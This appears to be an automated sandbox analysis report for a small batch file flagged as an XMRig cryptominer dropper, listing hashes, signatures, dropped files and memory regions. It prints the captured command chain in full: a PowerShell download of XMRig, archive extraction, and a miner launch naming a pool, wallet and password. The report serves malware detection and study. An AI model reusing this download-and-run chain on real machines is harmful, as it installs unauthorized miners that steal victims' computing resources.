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Analysis

  • max time kernel
    1813s
  • max time network
    1825s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    30/12/2023, 01:27

General

  • Target

    tesy - Copy.bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:96
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4656
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4704
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4964

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    006f3d1d4a1aebb2c7740ee72be29278

    SHA1

    a707bdc567ff7871e80822394bbcd42aa59b8270

    SHA256

    160fe2a7e02a40068cfdbc3a0a2cf54aad625c9009f691d76b3feef1ddbd7cee

    SHA512

    8a7fd17bcd691d58d7a703aa76c216afac82d2e62cb16eaea612e21cacf6af0e6c312ff8b79430d63bc386ff8b16119895d283a2785d7d4a0fc34ecbec8ff758

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w0ifrvmc.nua.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    484KB

    MD5

    9043cfe4c11c512b65bc46c2d03a4478

    SHA1

    8704d3c94a2e5dac406ae7d81c4d2e308a6a4dd8

    SHA256

    dfe295ffff81e80aa05204eb5a74a9740c52c07d1ba37e5ceaeb941c050464e6

    SHA512

    85706572d88164b4dd434ef004c5753b3acfb71dd66c7f19c0b66fa47e444dbc9e874a84f4a2633d4baa599775109e38928c9b9e70f1c286c9caff71c3c42517

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    646KB

    MD5

    575f2932acc132d047c389227140221d

    SHA1

    470563af8a9ebd513c0d3bc88160d995bbe400e3

    SHA256

    d28a33227ee098b248ff6ac19e6906fd585a41a42ad6655cef7f0d668e083f93

    SHA512

    6d412b7ad61724f030077f4dede67452612052e8fd89da535cb4eacd181a252c6e78d16be91942241b13e5f5bf89d7ce71901e6646d242bf77db9e010e1d7dc8

  • memory/4656-4-0x00000205B4320000-0x00000205B4342000-memory.dmp

    Filesize

    136KB

  • memory/4656-7-0x00007FFFBF940000-0x00007FFFC032C000-memory.dmp

    Filesize

    9.9MB

  • memory/4656-9-0x00000205B44D0000-0x00000205B4546000-memory.dmp

    Filesize

    472KB

  • memory/4656-10-0x000002059BCF0000-0x000002059BD00000-memory.dmp

    Filesize

    64KB

  • memory/4656-8-0x000002059BCF0000-0x000002059BD00000-memory.dmp

    Filesize

    64KB

  • memory/4656-25-0x000002059BCF0000-0x000002059BD00000-memory.dmp

    Filesize

    64KB

  • memory/4656-26-0x00007FFFBF940000-0x00007FFFC032C000-memory.dmp

    Filesize

    9.9MB

  • memory/4656-27-0x000002059BCF0000-0x000002059BD00000-memory.dmp

    Filesize

    64KB

  • memory/4656-28-0x000002059BCF0000-0x000002059BD00000-memory.dmp

    Filesize

    64KB

  • memory/4656-29-0x000002059BCF0000-0x000002059BD00000-memory.dmp

    Filesize

    64KB

  • memory/4656-34-0x00007FFFBF940000-0x00007FFFC032C000-memory.dmp

    Filesize

    9.9MB

  • memory/4704-40-0x00007FFFBF940000-0x00007FFFC032C000-memory.dmp

    Filesize

    9.9MB

  • memory/4704-42-0x000001906D7D0000-0x000001906D7E0000-memory.dmp

    Filesize

    64KB

  • memory/4704-43-0x000001906D7D0000-0x000001906D7E0000-memory.dmp

    Filesize

    64KB

  • memory/4704-66-0x000001906D7D0000-0x000001906D7E0000-memory.dmp

    Filesize

    64KB

  • memory/4704-93-0x000001906D920000-0x000001906D92A000-memory.dmp

    Filesize

    40KB

  • memory/4704-80-0x000001906D940000-0x000001906D952000-memory.dmp

    Filesize

    72KB

  • memory/4704-117-0x00007FFFBF940000-0x00007FFFC032C000-memory.dmp

    Filesize

    9.9MB

  • memory/4964-143-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-155-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-122-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-124-0x000001EF58CD0000-0x000001EF58CF0000-memory.dmp

    Filesize

    128KB

  • memory/4964-123-0x000001EF58CB0000-0x000001EF58CD0000-memory.dmp

    Filesize

    128KB

  • memory/4964-125-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-126-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-127-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-129-0x000001EF58CD0000-0x000001EF58CF0000-memory.dmp

    Filesize

    128KB

  • memory/4964-128-0x000001EF58CB0000-0x000001EF58CD0000-memory.dmp

    Filesize

    128KB

  • memory/4964-130-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-131-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-132-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-133-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-134-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-135-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-136-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-137-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-138-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-139-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-140-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-141-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-142-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-120-0x000001EF57370000-0x000001EF57390000-memory.dmp

    Filesize

    128KB

  • memory/4964-144-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-145-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-146-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-147-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-148-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-149-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-150-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-151-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-152-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-153-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-154-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-121-0x000001EF58C70000-0x000001EF58CB0000-memory.dmp

    Filesize

    256KB

  • memory/4964-156-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-157-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-158-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-159-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-160-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-161-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-162-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-163-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-164-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-165-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-166-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-167-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-168-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-169-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-170-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-171-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-172-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-173-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-174-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-175-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-176-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-177-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-178-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-179-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-180-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-181-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-182-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-183-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-184-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-185-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-186-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-187-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB

  • memory/4964-188-0x00007FF76D2C0000-0x00007FF76DDC3000-memory.dmp

    Filesize

    11.0MB